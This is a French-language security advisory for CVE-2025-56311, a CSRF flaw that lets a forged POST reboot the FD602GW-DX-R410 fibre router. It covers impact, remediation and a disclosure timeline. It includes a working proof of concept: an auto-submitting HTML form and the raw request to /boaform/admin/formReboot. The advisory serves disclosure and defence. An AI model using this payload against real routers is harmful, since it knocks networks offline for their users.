CVE-2025-56311: Avis de sécurité – Vulnérabilité CSRF dans la fonction de redémarrage du routeur FD602GW-DX-R410

Preuve de concept et avis de sécurité pour une vulnérabilité de type Cross-Site Request Forgery (CSRF) dans l'interface d'administration du routeur fibre FD602GW-DX-R410 (Firmware V2.2.14). L'avis décrit l'impact, le vecteur d'attaque et les recommandations de correction.

fd602gw-dx-r410-csrf-advisory

La vulnérabilité CSRF dans le routeur FD602GW-DX-R410 permet à un attaquant distant de redémarrer l'appareil via une requête POST falsifiée vers /boaform/admin/formReboot lorsqu'un administrateur est authentifié.

---

Aperçu

Une vulnérabilité de type Cross-Site Request Forgery (CSRF) a été découverte dans la console d'administration web du routeur fibre FD602GW-DX-R410 (Firmware V2.2.14). Le point d'accès /boaform/admin/formReboot accepte les requêtes POST pour déclencher un redémarrage complet de l'appareil sans jetons CSRF ni validation d'origine. Si un administrateur authentifié visite une page malveillante, le routeur peut être redémarré à distance sans consentement.

• Identifiant CVE : CVE-2025-56311
• Date de publication de l'avis : juillet 2025
• Découvert par : Hasanka Amarasinghe (chercheur en sécurité indépendant)
• Vendeur : Shenzhen C-Data Technology Co., Ltd.
• Produit concerné : Routeur fibre FD602GW-DX-R410
• Version du firmware : V2.2.14 (Build.1918.241111)
• Version matérielle : R410.1B
• Version du bootloader : V3.7-2312181457
• Serveur web : Boa/0.93.15
• Vecteur d'accès : À distance (l'administrateur authentifié doit être connecté)
• Sévérité : Moyenne
• Score de base CVSS v3.1 : 5.4 (Moyen)

---

Produit concerné

• Appareil : Routeur fibre FD602GW-DX-R410
• Firmware : V2.2.14 (Build.1918.241111)
• Composant : Gestionnaire de redémarrage - /boaform/admin/formReboot
• Serveur web : Boa/0.93.15

---

Détails de la vulnérabilité

• Type : Cross-Site Request Forgery (CSRF)
• Vecteur d'attaque : À distance (l'administrateur doit être connecté à sa session)
• Authentification : Aucune requise pour l'attaquant (session admin requise sur le navigateur de la victime)
• Impact : Redémarrage non autorisé de l'appareil
• Persistance d'état : Session sans état, probablement suivie par IP ou jetons de session internes

---

Preuve de concept (PoC)

Charge utile CSRF (HTML)

<html>
  <!-- CSRF PoC - generated by Burp Suite Pro -->
  <body>
    <form action="http://192.168.1.1/boaform/admin/formReboot" method="POST">
      <input type="hidden" name="postSecurityFlag" value="+65535" />
      <input type="submit" value="Submit" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Requête HTTP

POST /boaform/admin/formReboot HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 23

postSecurityFlag=+65535

Réponse

HTTP 200 OK; Router reboots immediately.

---

Recommandations

• Implémenter des jetons CSRF et une validation stricte de l'Origine/Référent sur tous les points d'accès d'administration.
• Invalider les sessions obsolètes ou orphelines et lier les sessions à des cookies sécurisés.
• Envisager un CAPTCHA ou des invites de confirmation avant d'exécuter des actions destructrices comme le redémarrage.
• Restreindre l'accès à l'interface d'administration aux adresses IP de confiance ou aux réseaux internes uniquement.

---

Vecteur d'attaque

• Nécessite que l'administrateur du routeur soit authentifié (connecté).
• Un attaquant attire la victime vers une page web malveillante qui déclenche silencieusement une requête POST vers le point d'accès de redémarrage.
• Le routeur accepte la requête falsifiée et redémarre immédiatement, provoquant un déni de service.

---

Impact

• Déni de service dû à un redémarrage forcé.
• Perte de disponibilité du réseau pour tous les utilisateurs connectés.
• Possibilité de combiner avec d'autres problèmes (par exemple, détournement de session ou XSS) pour augmenter l'impact.

---

Calendrier de divulgation

Date	Action
Jun 2025	Vulnérabilité découverte
Jun 2025	Tentative de divulgation responsable (pas de réponse)
Jul 2025	Identifiant CVE demandé auprès du MITRE
Jul 2025	Avis préparé et en attente de publication
Sep 2025	CVE attribué, avis rendu public

---

Références

• Vendeur : Shenzhen C-Data Technology Co., Ltd.
• Appareil : FD602GW-DX-R410
• Firmware : V2.2.14
• Avis GitHub : https://github.com/wrathfulDiety/CVE-2025-56311

---

Avertissement

Cet avis est fourni à des fins éducatives et de sensibilisation à la sécurité. L'auteur décline toute responsabilité en cas d'utilisation abusive. Tous les tests ont été effectués dans un environnement contrôlé.